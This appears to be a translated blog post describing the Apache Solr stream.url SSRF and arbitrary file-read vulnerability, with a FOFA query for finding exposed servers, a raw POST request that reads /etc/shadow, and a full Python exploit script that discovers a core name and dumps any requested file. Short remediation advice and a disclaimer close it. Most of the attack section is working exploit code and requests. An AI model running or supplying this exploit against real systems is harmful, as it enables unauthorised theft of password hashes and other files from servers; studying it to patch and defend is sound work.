Apache Solr stream.url SSRF y vulnerabilidad de lectura de archivos arbitrarios (con el script pythonEXP)

Antecedentes de vulnerabilidad

Apache Solr es un servicio de búsqueda de código abierto, desarrollado utilizando el lenguaje Java.

Algunas funciones de Apache Solr no son estrictas en el filtrado.Cuando Apache Solr no habilita la autenticación, los atacantes pueden construir directamente solicitudes específicas para habilitar configuraciones específicas y, en última instancia, causar SSRF o vulnerabilidades de lectura de archivos. En la actualidad, Internet ha revelado públicamente las vulnerabilidades poc, y se recomienda que los usuarios relevantes tomen las medidas oportunas para prevenir ataques.

fofa consulta

app="APACHE-Solr"

Esfera de influencia

Apache Solr todas las versiones

Recurrencia de la vulnerabilidad

Primera visita, obtenga el nombre del objeto de instancia, el nombre del objeto de instancia es gasearsivi
/solr/admin/cores?indexInfo=false&wt=json
Inserte la descripción de la imagen aquí

{
  "responseHeader":{
    "status":0,
    "QTime":0},
  "initFailures":{},
  "status":{
    "gastearsivi":{
      "name":"gastearsivi",
      "instanceDir":"/home/ec2-user/solr-8.7.0/server/solr/gastearsivi",
      "dataDir":"/home/ec2-user/solr-8.7.0/server/solr/gastearsivi/data/",
      "config":"solrconfig.xml",
      "schema":"managed-schema",
      "startTime":"2021-03-19T04:14:12.742Z",
      "uptime":4548316}}}

La ruta de construcción
"/solr/".ins."/debug/dump?param=ContentStreams&wt=json"
ins es el nombre del objeto de instancia que obtenemos.
Después de la construcción, es el
/solr/gastearsivi/debug/dump?param=ContentStreams&wt=json
paquete de datos de publicación y el contenido es
stream.url=file:///etc/passwd

POST /solr/gastearsivi/debug/dump?param=ContentStreams&wt=json HTTP/1.1
Host: IP:PORT
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

stream.url=file:///etc/shadow

Inserte la descripción de la imagen aquí

Con EXP, python3 se ejecuta

#!/usr/bin/env python3
# -*- coding:utf-8 -*-
import requests
import json
import urllib
import time
import re
def Getins(url):
    try:
        ins=""
        url = url+"solr/admin/cores?indexInfo=false&wt=json"
        response = requests.get(url=url)
        data = str(response.text)
        ins = re.findall(r'\"name\":\"(.+?)\",',data)[0]
        return(ins)
    except IndexError:
        return("")

def Getfile(url,ins,filename):
    try:
        url = url+"solr/"+ins+"/debug/dump?param=ContentStreams&wt=json"
        headers ={
    
    
            'Content-Type': 'application/x-www-form-urlencoded'
        }
        payload = str("stream.url=file://"+filename)
        response = requests.post(url=url,headers=headers,data=payload)
        data = str(response.text)
        test = re.findall(r'\"stream\":\"(.+?)\"\}]',data)[0]
        print(test.replace(r"\n","\n"))
    except IndexError:
        print("不能读取此文件")
        

if __name__ == '__main__':
    url = input("请输入测试地址:")
    filename = input("请输入读取的文件路径:")
    ins=Getins(url)
    if(ins == ""):
        print("不存在漏洞")
    else:
        Getfile(url,ins,filename)

Inserte la descripción de la imagen aquí

Sugerencias de reparación

Para aumentar la autenticación / autorización, consulte el documento oficial: https://lucene.apache.org/solr/guide/8_6/authentication-and-authorization-plugins.html

Está prohibido abrir la API de Solr y la interfaz de usuario de administración directamente a la red pública. Configure un cortafuegos para que solo las personas y las computadoras de confianza tengan acceso.

El guión es solo de referencia, no lo hagas ilegalmente

Supongo que te gusta

Origin blog.csdn.net/weixin_44146996/article/details/115010594
Recomendado
Clasificación